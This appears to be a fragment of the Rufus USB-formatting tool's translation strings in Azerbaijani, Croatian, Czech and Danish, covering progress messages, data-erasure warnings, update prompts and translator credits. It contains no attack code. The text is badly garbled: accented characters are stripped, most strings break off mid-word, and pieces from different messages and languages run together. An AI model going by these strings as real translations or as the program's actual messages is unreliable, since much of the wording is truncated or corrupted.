t MSG_218 "Fayl sistemi yarad
liyyat %d/%d tamamland
t MSG_219 "NTFS D
: %d%% tamamland
t MSG_220 "Formatlan
r (%s) - T
xmini Vaxt %d:d..."
t MSG_221 "Etiket T
t MSG_222 "Formatlan
r (%s)..."
t MSG_223 "NTFS D
t MSG_224 "MBR/PBR/GPT qurulu
t MSG_225 "Disk
t MSG_226 "Olan a
t MSG_227 "Olanlar ba
t MSG_228 "MBR Yaz
t MSG_229 "PBR Yaz
t MSG_230 "DOS Fayllar
t MSG_231 "ISO Fayllar
t MSG_232 "Win7 EFI A
t MSG_233 "Bitirilir, L
t MSG_234 "Syslinux %s Y
t MSG_235 "S
hvli Bloklar: %s %d/%d - %0.2f%% (%d/%d/%d s
t MSG_236 "S
t MSG_237 "S
hvli Bloklar: 0xX q
t MSG_238 "Hiss
nir (%s)..."
t MSG_239 "Hiss
t MSG_240 "%s Y
t MSG_241 "Y
t MSG_242 "Fayl y
t MSG_243 "Rufus yenil
t MSG_244 "Yenil
t MSG_245 "Yenil
t MSG_246 "Rufus'un yeni versiyas
t MSG_247 "Rufus'un yeni versiyas
t MSG_248 "Proqram
t MSG_249 "Proqram
t MSG_250 "%s aktiv"
t MSG_251 "%s s
t MSG_253 "Sabit Disk Tap
t MSG_254 "Geni
t MSG_255 "NoDriveTypeAutorun
t MSG_256 "Saxta s
t MSG_257 "Joliet d
t MSG_258 "Rock Ridge d
t MSG_259 "M
t MSG_260 "NTFS s
t MSG_261 "Fayl yaz
t MSG_262 "ISO D
t MSG_263 "UY
t MSG_264 "'%s' silinir"
t MSG_265 "VMWare disk tapma"
t MSG_266 "C
t MSG_267 "Windows fayl
t MSG_268 "Windows fayl
t MSG_269 "Zaman gedi
t MSG_270 "USB S
t MSG_271 "Fayl t
t MSG_272 "Se
t MSG_273 "Proqram dilini d
t MSG_274 "ISOHybrid fayl
t MSG_275 "Se
n ya %s (fayl kopyalama) rejimind
"ya da %s (disk fayl
"Rufus %s rejiminin istifad
%s rejimind
t MSG_276 "%s rejimind
t MSG_277 "%s rejimind
t MSG_280 "Fayl se
t MSG_281 "(L
t MSG_282 "X
t MSG_283 "Ke
t MSG_284 "Y
t MSG_285 "Y
n fayl '%s' t
m IDC_NBPASSES 15,0
Windows
t IDC_WINDOWS_TO_GO "Windows To Go (Windows
t MSG_004 "Rufus
t MSG_012 "%s\nA
t MSG_045 "USB
t MSG_048 "Rufus -
t MSG_078 "GUID
t MSG_080 "Rufus
"'%s',
t MSG_090 "
Windows. "
'Windows To Go',
Windows 7
Windows Vista USB
%s ISO
"'%s'
t MSG_108 "Rufus
t MSG_109 "0xX (
%d:d,
"Syslinux %s%s.\n\n
('ldlinux.sys'GRUB %s
GRUB %s."
.Rufus
Windows XP"
t MSG_174 "Rufus -
%d.%d (Build %d)"
: Krasimir Nevenov <mailto:berzabel@yahoo.com>"
t MSG_186 "Rufus
t MSG_198 "'Windows To Go'
t MSG_200 "
t MSG_219 "NTFS
: %d%%
(%s) -
t MSG_223 "NTFS
t MSG_232 "Win7 EFI
: %s %d/%d - %0.2f%% (%d/%d/%d
) (%s)..."
t MSG_250 "%s
t MSG_251 "%s
t MSG_257 "Joliet
t MSG_258 "Rock Ridge
t MSG_260 "NTFS
t MSG_262 "ISO
t MSG_266 "Dual UEFI/BIOS
"%s (file copy)
%s (disk image)
t MSG_282 "
t MSG_283 "
t MSG_284 "
t MSG_285 "
'%s'.\n
t IDC_WINDOWS_TO_GO "Windows To Go"
\n%s"
%d.%d (Build %d)"
t MSG_020 "B"
t MSG_027 "K
t MSG_028 "M
t MSG_031 "
t MSG_032 "
t MSG_033 "
t MSG_073 "ISO
t MSG_074 "ISO
Windows
%d:d
Syslinux %s%s
('core.img'):\n"0xX"
0xX, 0xX"
0xX, 0xX, 0xX"
0xX, 0xX, 0xX, 0xX"
- %0.2f%% (%d/%d/%d
0xX
t MSG_265 "VMWare
t MSG_270 "USB
"%s (
m IDC_NBPASSES -5,0
s IDC_NBPASSES 5,0
: '%s'\n"
t MSG_032 "%s BIOS
t MSG_033 "%s UEFI
! 'Windows To Go'
'%s'\n"
: %d:d"
"'ldlinux.sys'
'ldlinux.bss'\n"
Grub %s
"'core.img'\n"
<mailto:mmmeow@gmail.com>\\line Chocobo1 <hXXps://github.com/Chocobo1>"
t MSG_177 "Bug
%d-byte
Windows
: %d/%d"
: %d%%"
: %d:d..."
t MSG_234 "Syslinux %s
(0xX
t MSG_248 "Rufus
t MSG_249 "Rufus
: '%s'.\n
t IDC_WEBSITE "Kliknite ovdje za pristup web-stranici"
t MSG_001 "Drugi primjerak otkriven"
t MSG_002 "Druga Rufus aplikacija radi.\n"
t MSG_003 "UPOZORENJE: Ovaj postupak bri
t MSG_004 "Politika Rufus a
t MSG_005 "Dopusti Rufusu da tra
t MSG_006 "Zatvori"
t MSG_007 "Odustani"
t MSG_008 "Da"
t MSG_009 "Ne"
t MSG_010 "Prona
t MSG_011 "Provjera gotova: %d lo
" %d gre
itanja\n %d gre
ka pisanja\n %d korupcija\n"
t MSG_012 "%s\nDetaljno izvje
e se nalazi u:\n%s"
t MSG_013 "Onemogu
t MSG_014 "Dnevno"
t MSG_015 "Tjedno"
t MSG_016 "Mjese
t MSG_017 "Prilago
t MSG_018 "Verzija: %d.%d (Build %d)"
t MSG_019 "Zadnja verzija: %d.%d (Build %d)"
t MSG_020 "bajta"
t MSG_026 "bajta"
t MSG_027 "kilobajta"
t MSG_028 "megabajta"
t MSG_029 "Zadano"
t MSG_030 "%s (Zadano)"
t MSG_031 "%s shema particije za BIOS ili %s"
t MSG_032 "%s shema particije za BIOS"
t MSG_033 "%s shema particije za UEFI"
t MSG_034 "%d prolaz"
t MSG_035 "%d prolaza"
t MSG_036 "ISO slike"
t MSG_037 "Aplikacija"
t MSG_038 "Prekini"
t MSG_039 "Pokreni"
t MSG_040 "Preuzmi"
t MSG_041 "Operacija prekinuta od korisnika"
t MSG_042 "Gre
t MSG_043 "Gre
ka: %s"
t MSG_044 "Preuzimanje datoteka"
t MSG_045 "USB ure
t MSG_046 "%s (disk %d) [%s]"
t MSG_047 "Vi
t MSG_048 "Rufus - Ispiranje buffera"
t MSG_049 "Rufus - Otkazivanje"
t MSG_050 "Uspijeh."
t MSG_051 "Neutvr
t MSG_052 "Nemogu koristiti odabrani sustav datoteka za ovaj medij."
t MSG_053 "Odbijen pristup ure
t MSG_054 "Ure
t MSG_055 "Ure
t MSG_056 "Brzo formatiranje je nedostupno za ovaj ure
t MSG_057 "Nepodr
t MSG_059 "Odabrana veli
t MSG_060 "Neto
t MSG_061 "Stavite uklonjivi medij u pogon."
t MSG_062 "Primljena je nepoznata komanda."
t MSG_063 "Gre
t MSG_064 "Gre
t MSG_065 "Gre
t MSG_066 "Neuspjela instalacija"
t MSG_067 "Nemogu otvoriti medij. Mo
t MSG_068 "Gre
t MSG_069 "Datoteke se ne mogu kopirati na odabrani pogon"
t MSG_070 "Otkazao korisnik."
t MSG_071 "Ne mogu zapo
t MSG_072 "Nije zavr
t MSG_073 "Neuspjelo skeniranje ISO slike."
t MSG_074 "Neuspjelo izvla
t MSG_075 "Ne mogu remontirati ure
t MSG_076 "Ne mogu zakrpati/postaviti datoteke za bootanje."
t MSG_077 "Ne mogu dodijeliti slovo jedinici."
t MSG_078 "Ne mogu montirati GUID jedinicu."
t MSG_079 "Ure
t MSG_080 "Rufus je otkrio da Windows jo
aja, ova operacija bi mogla potrajati, "
amo da dopustite Windowsima da zavr
t MSG_081 "Nepodr
t MSG_082 "Ova slika nije podr
t MSG_083 "Zamijeni %s?"
t MSG_084 "Ova ISO slika koristi staru verziju '%s'.\n"
t MSG_085 "Preuzimam %s"
t MSG_086 "Nema odabira"
t MSG_087 "Pritisnite na ikonu diska za odabir datoteke."
t MSG_088 "Slika je prevelika"
t MSG_089 "Ime mora biti manje za odabranu metu."
t MSG_090 "Nepodr
t MSG_091 "Dok koristite UEFI Target Type, samo EFI bootable ISO slike su podr
t MSG_092 "Nepodr
t MSG_093 "VA
da nisu vidljive Windowsima. "
t MSG_094 "Otkrivene vi
t MSG_095 "DD slike"
t MSG_096 "Sustav dat. trenutno odabran ne mo
t MSG_097 "'%s' se samo mo
t MSG_098 "VA
elite instalirati 'Windows To Go', ali va
"ima 'FIXED' atribut. Zbog ovoga Windows
to Microsoft nije dizajnirao Windows To Go za ure
t MSG_099 "Ograni
t MSG_100 "Ova ISO slika sadr
t MSG_101 "Nedostaje WIM podr
t MSG_102 "Va
"je potrebno da se naprave EFI bootable Windows 7 i Windows Vista USB pogoni. Preuzmite najnoviju "
t MSG_103 "Preuzmi %s?"
t MSG_104 "%s ili noviji zahtijeva '%s' za instalaciju.\n"
a od 100 KB, i uvijek prisutna na %s ISO slikama, "
"'%s' postoji tamo, automatski
t MSG_105 "Prekidanje mo
t MSG_106 "Molimo odaberite mapu"
t MSG_107 "Sve datoteke"
t MSG_108 "Rufus zapisnik"
t MSG_110 "MS-DOS ne mo
t MSG_111 "Nekompatibilna veli
t MSG_112 "Formatiranje velike UDF jedinice mo
" %d:d "
t MSG_113 "Velika UDF jedinica"
t MSG_114 "Ova slika koristi Syslinux %s%s ali ova aplikacija samo uklju
"Syslinux %s%s.\n\nPo
"('ldlinux.sys' i 'ldlinux.bss')\n"t MSG_115 "Potrebno preuzimanje"
t MSG_116 "Ova slika koristi Grub %s ali aplikacija samo sadr
"Grub %s.\n\nPo
"instalacijske datoteke ('core.img') koja odgovara onoj iz vat MSG_150 "Naj
t MSG_151 "Odaberite ovo ako
aju sa Windows XP"
t MSG_152 "Preferirana opcija za inst. OS-a u EFI na
"USB pristup nije potreban za Windows XP"
t MSG_153 "Test uzorak: 0xX"
t MSG_154 "Test uzorak: 0xX, 0xX"
t MSG_155 "Test uzorak: 0xX, 0xX, 0xX"
t MSG_156 "Test uzorak: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Postavi sustav datoteka"
t MSG_158 "Min. veli
t MSG_159 "Ovdje unesite naziv za jedinicu"
t MSG_160 "Otvori napredne postavke"
t MSG_161 "Provjeri prisutnost lo
t MSG_162 "Ostavite prazno za \"sporu\" metodu formatiranja"
t MSG_163 "Odaberite ovo da USB bude 'bootable'"
t MSG_164 "Metoda s kojom
t MSG_165 "Kliknite za odabir datoteke"
t MSG_166 "Potvrdite ovo da dozvolite prikaz internacijonalnih oznaka "
"i napravite ikonu (stvara autorun.inf)"
t MSG_167 "Instaliraj MBR koji omogu
t MSG_168 "Maskiraj prvi bootable USB pogon (uobi
"Ovo je potrebno ako instalirate Windows XP i imate vi
t MSG_169 "Stvori extra skrivenu particiju i poku
t MSG_170 "Otkrivanje USB hard diskova. Koristiti na vlastitu odgovornost!"
t MSG_171 "Zapo
t MSG_172 "Info licenciranja i zahvale"
t MSG_173 "Klikni za odabir..."
t MSG_175 "Verzija %d.%d (Build %d)"
t MSG_176 "Preveo: Dario Komar <mailto:dkmr_main@hotmail.com>"
t MSG_177 "Prijavite gre
t MSG_178 "Dodatna autorska prava:"
t MSG_179 "Politika a
t MSG_180 "Ako
t MSG_181 "Arhitektura va
t MSG_182 "Verzija Rufusa koju koristite"
t MSG_183 "Va
t MSG_184 "Zbog statistika, navedene informacije mo
t MSG_185 "Proces a
t MSG_186 "Rufus nema pozadinskih program
t MSG_187 "Kriva slika za odabrano bootanje"
t MSG_188 "Trenutna slika se ne podudara s odabranim boot opcijama. Odaberite drugu sliku ili boot opciju."
t MSG_189 "Ova ISO slika nije kompatibilna s odabranim sustavom dat."
t MSG_190 "Prona
t MSG_191 "Pi
t MSG_193 "Preuzeto %s"
t MSG_194 "Ne mogu preuzeti %s"
t MSG_195 "Kori
enih verzija od %s datoteka"
t MSG_196 "VA
inu sektora od 512 bajta ali ovaj koristi od %d. "
t MSG_197 "Nestandardna veli
t MSG_198 "'Windows To Go' se samo mo
t MSG_199 "Odaberite ovo ako planirate instalirati Windows na drugi disk s odabranim ure
t MSG_200 "Odaberite ovo ako planirate pokretati Windows direktno s odabranog ure
t MSG_201 "Otkazujem - Pri
t MSG_202 "Skeniram sliku..."
t MSG_203 "Neuspijelo skeniranje"
t MSG_204 "Stari %s otkriven"
t MSG_205 "Koristim sliku: %s"
t MSG_206 "Nedostaje %s"
t MSG_207 "Novi medij"
t MSG_208 "%d ure
t MSG_209 "%d ure
t MSG_210 "Spremno"
t MSG_211 "Otkazano"
t MSG_212 "NEUSPJE
t MSG_213 "Pokretanje nove aplikacije..."
t MSG_214 "Gre
t MSG_215 "Otvoreno %s"
t MSG_216 "Spremljeno %s"
t MSG_217 "Formatiranje: %0.1f%% zavr
t MSG_218 "Stvaram sustav datoteka: %d/%d zavr
t MSG_219 "NTFS Fixup: %d%% zavr
t MSG_220 "Formatiranje(%s) - Procjena %d:d..."
t MSG_221 "Postavljanje jedinice..."
t MSG_222 "Formatiram (%s)..."
t MSG_225 "Zahtijevam pristup disku..."
t MSG_226 "Analiziram postoje
t MSG_227 "Zatvaram postoje
t MSG_228 "Zapisujem master boot record..."
t MSG_229 "Zapisujem partition boot record..."
t MSG_230 "Kopiram DOS datoteke..."
t MSG_231 "Kopiram ISO datoteku..."
t MSG_232 "Win7 EFI boot setup..."
t MSG_233 "Zavr
t MSG_234 "Instaliram Syslinux %s..."
t MSG_235 "Lo
i blokovi: %s %d/%d - %0.2f%% (%d/%d/%d gre
t MSG_236 "Lo
t MSG_237 "Lo
i blokovi: Testiram s uzorkom 0xX"
t MSG_238 "Particioniram (%s)..."
t MSG_239 "Bri
t MSG_240 "Preuzimam %s: povezivanje..."
t MSG_241 "Preuzimam: %0.1f%%"
t MSG_242 "Neuspjelo preuzimanje."
t MSG_243 "Provjera Rufus a
t MSG_244 "A
t MSG_245 "A
t MSG_246 "Dostupna nova verzija Rufusa!"
t MSG_247 "Nema novih verzija Rufusa"
t MSG_248 "Klju
t MSG_249 "Neuspjela operacija"
t MSG_250 "%s omogu
t MSG_251 "%s onemogu
t MSG_252 "Provjera veli
t MSG_253 "Otkrivanje Hard Diskova"
t MSG_254 "Forsiraj veliko FAT32 formatiranje"
t MSG_256 "La
t MSG_257 "Joliet podr
t MSG_258 "Rock Ridge podr
t MSG_259 "Forsiranje a
t MSG_260 "NTFS kompresija"
t MSG_261 "Zapisujem: %0.1f%% zavr
t MSG_262 "ISO podr
t MSG_263 "Koristi PRAVE vel. jedinica"
t MSG_264 "Bri
em direktorij '%s'"
t MSG_265 "VMWare disk detekcija"
t MSG_266 "Dual UEFI/BIOS na
t MSG_267 "Primjenjujem Windows sliku: %0.1f%% zavr
t MSG_268 "Primjenjujem Windows sliku..."
t MSG_269 "O
t MSG_271 "Ra
t MSG_272 "Izra
t MSG_273 "Promjena jezika"
t MSG_274 "ISOHybrid slika otkrivena"
t MSG_275 "Slika koju ste odabrali je 'ISOHybrid'. Takva datoteka mo
"%s (kopiranje) ili %s (disk image).\n"
uje metodu %s, tako da imate neograni
ete na probleme kod boota, isprobajte metodu %s.\n\n"
"Molimo odaberite metodu za ovu operaciju:"
t MSG_276 "Metodom %s (Preporu
t MSG_277 "Metodom %s"
t MSG_278 "Boot tip"
t MSG_280 "Odabir datoteke"
t MSG_281 "(Molim odaberite datoteku)"
t MSG_282 "Ekskluzivno zaklju
t MSG_283 "Neva
t MSG_284 "Preuzeta aplikacija ne sadr
t MSG_285 "Preuzeta aplikacija je potpisana od strane
t IDC_WINDOWS_INSTALL "Standartn
instalace Windows"
t IDC_WINDOWS_TO_GO "P
Windows"
t IDC_WEBSITE "Klepnut
ejdete na webov
t MSG_001 "Zji
t MSG_002 "Program Rufus je ji
t MSG_003 "VAROV
M DISKU %s. BUDOU VYMAZ
to operaci, klikn
t MSG_004 "Nastaven
t MSG_005 "Chcete povolit online kontrolu aktualizac
t MSG_006 "Zav
t MSG_007 "Zru
t MSG_008 "Ano"
t MSG_010 "Byly nalezeny chybn
t MSG_011 "Kontrola dokon
: %d \n"
: %d\n po
pisu: %d\n po
: %d\n"
t MSG_012 "%s\nPodrobn
vu najdete tady:\n%s"
t MSG_013 "Zak
t MSG_014 "Denn
t MSG_015 "T
t MSG_016 "M
t MSG_017 "Vlastn
t MSG_018 "Va
e verze: %d.%d (Build %d)"
t MSG_019 "Posledn
verze: %d.%d (Build %d)"
t MSG_026 "bajt
t MSG_027 "kilobajt
t MSG_028 "megabajt
t MSG_029 "V
t MSG_030 "%s (V
t MSG_031 "%s sch
lu pro BIOS nebo %s"
t MSG_032 "%s sch
t MSG_033 "%s sch
t MSG_034 "%d pokus"
t MSG_035 "%d pokusy"
t MSG_036 "Obraz ISO"
t MSG_037 "Aplikace"
t MSG_038 "P
t MSG_039 "Spustit"
t MSG_040 "St
t MSG_041 "Operace byla p
t MSG_042 "Chyba"
t MSG_043 "Chyba: %s"
t MSG_044 "Sta
t MSG_045 "Pam
t MSG_047 "V
t MSG_048 "Rufus - Vyprazd
t MSG_049 "Rufus - Ukon
t MSG_050 "Hotovo."
t MSG_051 "Nezn
t MSG_052 "Zvolen
t MSG_053 "P
t MSG_054 "Za
t MSG_055 "Za
t MSG_056 "Rychl
t MSG_057 "N
t MSG_058 "Identifik
t MSG_059 "Zvolen
t MSG_060 "Velikost svazku je neplatn
t MSG_061 "Vlo
t MSG_062 "Obdr
t MSG_063 "Chyba p
t MSG_064 "Chyba
t MSG_065 "Chyba z
t MSG_066 "Instalace selhala"
t MSG_067 "Nen
t MSG_068 "Chyba p
t MSG_069 "Kop
t MSG_070 "Zru
t MSG_071 "Nelze spustit vl
t MSG_072 "Kontrola chybn
t MSG_073 "Anal
t MSG_074 "Rozbalovan
t MSG_075 "Nen
t MSG_076 "Nen
t MSG_077 "Nen
t MSG_078 "Nen
t MSG_079 "Za
t MSG_080 "Program Rufus zjistil,
e Windows st
to operace m
ujeme nechat Windows dokon
t MSG_081 "Nepodporovan
t MSG_082 "Tento obr
t MSG_083 "Nahradit %s?"
t MSG_084 "Zd
zastaralou verzi '%s'.\n"
soubor %s bude sta
t MSG_085 "Stahuji: %s"
t MSG_086 "Nebyl zvolen
t MSG_087 "Klikn
t MSG_088 "Obraz disku je p
t MSG_089 "Obraz disku je p
t MSG_090 "Nepodporovan
t MSG_091 "P
t MSG_092 "Nepodporovan
t MSG_093 "D
pro Windows. "
t MSG_094 "Bylo zji
t MSG_095 "Obraz DD"
t MSG_096 "Souborov
t MSG_097 "'%s' lze pou
t MSG_098 "D
Windows', ale v
mu Windows bude s nejv
t MSG_099 "Omezen
t MSG_100 "Tento ISO obraz obsahuje soubor v
t MSG_101 "Chyb
t MSG_102 "V
Windows 7 a Windows Vista spustiteln
t MSG_103 "St
hnout %s?"
t MSG_104 "%s nebo vy
aduje instalaci souboru %s.\n"
%s ISO obrazech, "
s:\n"
mka: Soubor %s bude sta
t MSG_105 "Po zru
t MSG_106 "Pros
t MSG_107 "V
t MSG_108 "Z
t MSG_110 "MS-DOS nelze spustit z disku pou
t MSG_111 "Nekompatibiln
t MSG_112 "Form
%d:d, ukazatel pr
hu operace je b
t MSG_113 "Velk
t MSG_114 "Tento obraz pou
Syslinux %s%s, tato aplikace v
"Syslinux %s%s.\n\nJeliko
"(ldlinux.sys a ldlinux.bss):\n"
operace\n\n"
t MSG_115 "Nutn
t MSG_116 "Tento obraz pou
Grub %s ale aplikace obsahuje pouze instala
"Grub %s.\n\nVzhledem k r
"instalace souboru ('core.img') ktert MSG_150 "Obvykle nejbezpe
t MSG_151 "Pou
stup k obsahu USB disku z Windows XP"
t MSG_152 "Preferovan
t MSG_153 "Zku
vzorek: 0xX"
t MSG_154 "Zku
vzorek: 0xX, 0xX"
t MSG_155 "Zku
vzorek: 0xX, 0xX, 0xX"
t MSG_156 "Zku
vzorek: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Nastav
t MSG_158 "Minim
t MSG_159 "Pokud chcete nastavit jmenovku svazku, vypl
t MSG_160 "P
t MSG_161 "Zkontrolovat za
t MSG_162 "Odstran
t MSG_163 "Ozna
t MSG_164 "Vyberte metodu, kter
t MSG_165 "Klikn
t MSG_166 "Ozna
m souboru autorun.inf)"
t MSG_167 "Instalovat MBR, kter
t MSG_168 "Pokusit se o zamaskov
pouze pokud chcete instalovat Windows XP a m
t MSG_169 "Vytvo
t MSG_170 "Povol
t MSG_171 "Klepnut
t MSG_172 "Informace o licenci, aktualizaci a z
t MSG_173 "Kliknut
t MSG_174 "Rufus - Spolehliv
t MSG_175 "Verze %d.%d (Build %d)"
Richard Kahl <mailto:richard.kahl@seznam.cz>"
t MSG_177 "Nahl
t MSG_178 "Dal
t MSG_179 "Z
t MSG_180 "Pokud povol
t MSG_181 "Architektura va
eho opera
t MSG_182 "Pou
t MSG_184 "Pro
t MSG_185 "Aktualiza
t MSG_186 "Rufus neinstaluje ani nespou
t MSG_187 "Neplatn
t MSG_188 "Aktu
t MSG_189 "Tento ISO obraz nen
t MSG_190 "Rozpozn
t MSG_191 "Zapsat pr
t MSG_192 "P
t MSG_193 "Sta
eno %s"
t MSG_194 "Nelze st
hnout %s"
t MSG_195 "Pomoc
verze %s soubor(s)"
t MSG_196 "D
%d-byte one. "
t MSG_197 "Zji
t MSG_198 "'P
Windows' lze nainstalovat pouze na GPT odd
t MSG_199 "Vyberte tuto mo
nost, pokud chcete instalovat Windows, na jin
t MSG_200 "Tuto mo
nost vyberte, pokud chcete spustit Windows p
t MSG_201 "Ukon
uje se operace -
t MSG_202 "Anal
t MSG_203 "Anal
t MSG_204 "Zji
modul: %s"
t MSG_205 "Pou
obraz: %s"
t MSG_206 "Chyb
soubor: %s"
t MSG_207 "Nov
t MSG_208 "Bylo nalezeno %d za
t MSG_209 "Bylo nalezeno %d za
t MSG_210 "P
t MSG_211 "Zru
t MSG_212 "NEZDA
t MSG_213 "Spu
t MSG_214 "Spu
t MSG_215 "Otev
t MSG_216 "Ulo
t MSG_217 "Form
t MSG_218 "Vytv
loha %d/%d dokon
t MSG_219 "Oprava NTFS: %d%% dokon
t MSG_220 "Form
(%s) - zb
as: %d:d"
t MSG_221 "Nastaven
t MSG_222 "Form
t MSG_223 "Oprava NTFS (Kontrola disku)..."
t MSG_224 "Odstra
t MSG_225 "Po
t MSG_226 "Analyzov
t MSG_227 "Uzav
t MSG_228 "Zapisov
t MSG_229 "Zapisov
t MSG_230 "Kop
t MSG_231 "Kop
t MSG_232 "Nastaven
t MSG_233 "Dokon
t MSG_234 "Instaluje se Syslinux %s..."
t MSG_235 "Chybn
bloky: %s %d/%d - %0.2f%% (%d/%d/%d Chyby)"
t MSG_236 "Chybn
t MSG_237 "Chybn
se vzorkem 0xX"
t MSG_238 "Vytv
t MSG_239 "Odstra
t MSG_240 "Stahov
%s - Prob
t MSG_241 "Stahov
t MSG_242 "Sta
t MSG_243 "Kontrola aktualizac
t MSG_244 "Aktualizace: Chyba p
t MSG_245 "Aktualizace:
t MSG_246 "Je dostupn
t MSG_247 "Nebyla nalezena nov
t MSG_248 "Kl
t MSG_249 "Odstran
t MSG_250 "%s: povoleno"
t MSG_251 "%s: zak
t MSG_252 "Kontrola velikosti"
t MSG_253 "Detekce HDD"
t MSG_254 "Vynutit form
t MSG_255 "NoDriveTypeAutorun bude p
t MSG_256 "Zji
t MSG_257 "Joliet podpora"
t MSG_258 "Rock Ridge podpora"
t MSG_259 "Vynutit aktualizaci"
t MSG_260 "NTFS komprese"
t MSG_261 "Z
t MSG_262 "ISO podpora"
t MSG_263 "Pou
t MSG_264 "Odstran
t MSG_265 "VMWare detekce disk"
t MSG_266 "Dvoj
t MSG_267 "Pou
Windows obrazu: %0.1f%% komplet"
t MSG_268 "Pou
Windows obrazu..."
t MSG_269 "Zachovat
t MSG_270 "USB lad
t MSG_271 "V
t MSG_272 "Vypo
t MSG_273 "Zm
t MSG_274 "ISOHybridn
t MSG_275 "Obr
"%s (kop
imu %s (obraz disku) re
%s re
ete zkusit zapsat tento obraz znovu %s re
t MSG_276 "Re
pisu %s (Doporu
t MSG_277 "Re
pisu %s"
t MSG_278 "Typ boot"
t MSG_279 "Nen
t MSG_280 "Volba obrazu"
t MSG_281 "(Pros
t MSG_282 "Uzam
t MSG_283 "Neplatn
t MSG_284 "Sch
t MSG_285 "Sta
n '%s'.\nTento nen
t IDC_WINDOWS_INSTALL "Standard Windows-installation"
t IDC_WINDOWS_TO_GO "Windows To Go (din PC p
m IDC_NBPASSES 25,0
t IDC_WEBSITE "Klik her for at g
t MSG_001 "Anden instans opdaget"
t MSG_002 "En anden Rufus applikation k
t MSG_003 "ADVARSEL: AL DATA P
'%s' VIL FORSVINDE.\n\n"
t MSG_004 "Rufus opdateringspolitik"
t MSG_005 "Giver du tilladelse til at Rufus s
t MSG_006 "Luk"
t MSG_007 "Annuller"
t MSG_008 "Ja"
t MSG_009 "Nej"
t MSG_010 "Fejlbeh
t MSG_011 "Kontrol f
rdig: %d fejlbeh
" %d l
sefejl\n %d skrivefejl\n %d korruptionsfejl\n"
t MSG_012 "%s\nEn mere detaljeret rapport kan findes i:\n%s"
t MSG_013 "Deaktiveret"
t MSG_014 "Dagligt"
t MSG_015 "Ugentligt"
t MSG_017 "Tilpasset"
t MSG_018 "Din version: %d.%d (Build %d)"
t MSG_019 "Seneste version: %d.%d (Build %d)"
t MSG_029 "standard"
t MSG_030 "%s (standard)"
t MSG_031 "%s partition for BIOS eller %s"
t MSG_032 "%s partition for BIOS"
t MSG_033 "%s partition for UEFI"
t MSG_034 "%d genneml
t MSG_035 "%d genneml
t MSG_036 "ISO-image"
t MSG_037 "Applikation"
t MSG_038 "Annuller"
t MSG_039 "K
t MSG_041 "Operation afbrudt af brugeren"
t MSG_042 "Fejl"
t MSG_043 "Fejl: %s"
t MSG_044 "Filhentning"
t MSG_045 "USB-lagerenhed (generisk)"
t MSG_047 "Flere partitioner"
t MSG_048 "Rufus - t
t MSG_049 "Rufus - annullerer"
t MSG_050 "Succes."
t MSG_051 "Ukendt fejl under formatering."
t MSG_052 "Kan ikke benytte det valgte filsystem for dette medie."
t MSG_053 "Adgang til enheden blev n
t MSG_054 "Mediet er skrivebeskyttet."
t MSG_055 "Enheden er i brug af en anden proces. "
t MSG_056 "Ekspresformatering er ikke tilg
t MSG_057 "Volume-etiketten er ugyldig."
t MSG_058 "Enhedshandle er ugyldig."
t MSG_059 "Den valgte klyngest
t MSG_060 "Den valgte volumest
t MSG_061 "Inds
t MSG_062 "En ikke underst
t MSG_063 "Fejl ved allokering af hukommelse."
t MSG_064 "L
t MSG_065 "Skrivefejl."
t MSG_066 "Installationsfejl."
t MSG_067 "Kan ikke
t MSG_068 "Fejl ved partitionering af drev."
t MSG_069 "Kunne ikke kopiere filer til destinationsdrevet."
t MSG_070 "Afbrudt af bruger."
t MSG_071 "Ikke i stand til at starte tr
t MSG_073 "Fejl ved scanning af ISO-image."
t MSG_074 "Fejl ved udpakning af ISO-image."
t MSG_075 "Kan ikke genmontere volumen."
t MSG_076 "Kan ikke installere boot-filer."
t MSG_077 "Kan ikke tildele drevbogstav."
t MSG_078 "Kan ikke montere GUID-volumen."
t MSG_079 "Enheden er ikke parat."
t MSG_080 "Rufus har opdaget, at Windows stadig t
din USB-enhed, kan denne operation tage lang tid at gennemf
r for store filer.\n\nVi anbefaler, at du lader Windows blive f
t MSG_081 "ISO-filen er ikke underst
t MSG_082 "Denne version af Rufus underst
t MSG_083 "Erstat %s?"
t MSG_084 "Dette ISO-image lader til at bruge en for
ldet version af '%s'.\n"
rk: '%s' bliver gemt i den nuv
t MSG_085 "Downloader %s"
t MSG_086 "Ingen image-fil er valgt"
t MSG_087 "Klik venligst p
t MSG_088 "Image-filen er for stor"
t MSG_089 "Diskbilledet er for stort til den valgte destination."
t MSG_090 "ISO-filen er ikke underst
t MSG_091 "N
t MSG_092 "Filsystemet er ikke underst
t MSG_093 "VIGTIGT: DETTE DREV INDEHOLDER FLERE PARTITIONER!!\n\n"
"Dette kan omfatte partitioner, der er skjulte eller endda er synlige fra Windows. "
t MSG_094 "Flere partitioner blev fundet"
t MSG_095 "DD-image"
t MSG_096 "Det valgte filsystem kan ikke bruges med denne ISO-fil. "
t MSG_097 "'%s' kan kun bruges med filsystemet NTFS."
t MSG_098 "VIGTIGT: Du er ved at installere 'Windows To Go', men installationsdrevet er ikke "
grund af dette vil Windows muligvis 'fryse' under opstart, "
"da Microsoft ikke har designet Windows til at virke med 'Flytbare' diske "
t MSG_099 "Filsystem begr
t MSG_100 "Dette ISO-image indeholder en fil der er st
t MSG_101 "Manglende WIM-underst
t MSG_102 "Din platform kan ikke udpakke filer fra et WIM-arkiv. Udpakning af WIM-filer "
vet for at oprette en EFI Windows 7 og Windows Vista USB boot-disk. Du kan l
t MSG_103 "Hent %s?"
t MSG_104 "%s eller senere kr
ver at en '%s'-fil bliver installeret.\n"
rre end 100 KB, og altid er i %s ISO-filer, "
t MSG_105 "Annullering kan efterlade enheden i en ubrugelig tilstand.\n"
t MSG_106 "V
t MSG_107 "Alle filer"
t MSG_110 "MS-DOS kan ikke boote fra et drev der bruger 64 kilobyte klyngest
t MSG_111 "Inkompatibel klyngest
t MSG_112 "Formatering af en stor UDF volume kan tage lang tid. Ved USB 2.0-hastigheder, er den ansl
"formatering %d:d, hvorunder statuslinjen forekommer frosset. V
t MSG_113 "Stort UDF volume"
t MSG_114 "Dette image benytter Syslinux %s%s men denne applikation indeholder kun installationsfilerne til "
"Syslinux %s%s.\n\nDa nye versioner af Syslinux ikke er kompatible med hinanden, og det desuden ikke "
"internettet ('ldlinux.sys' og 'ldlinux.bss'):\n"lg 'Nej' for at annullere operationen\n\n"
t MSG_115 "Download n
t MSG_116 "Dette image bruger Grub %s, og dette program har kun installationsfiler til "
"Grub %s.\n\nDa forskellige versioner af Grub muligvis ikke er kompatible med hinanden, og det ikke "
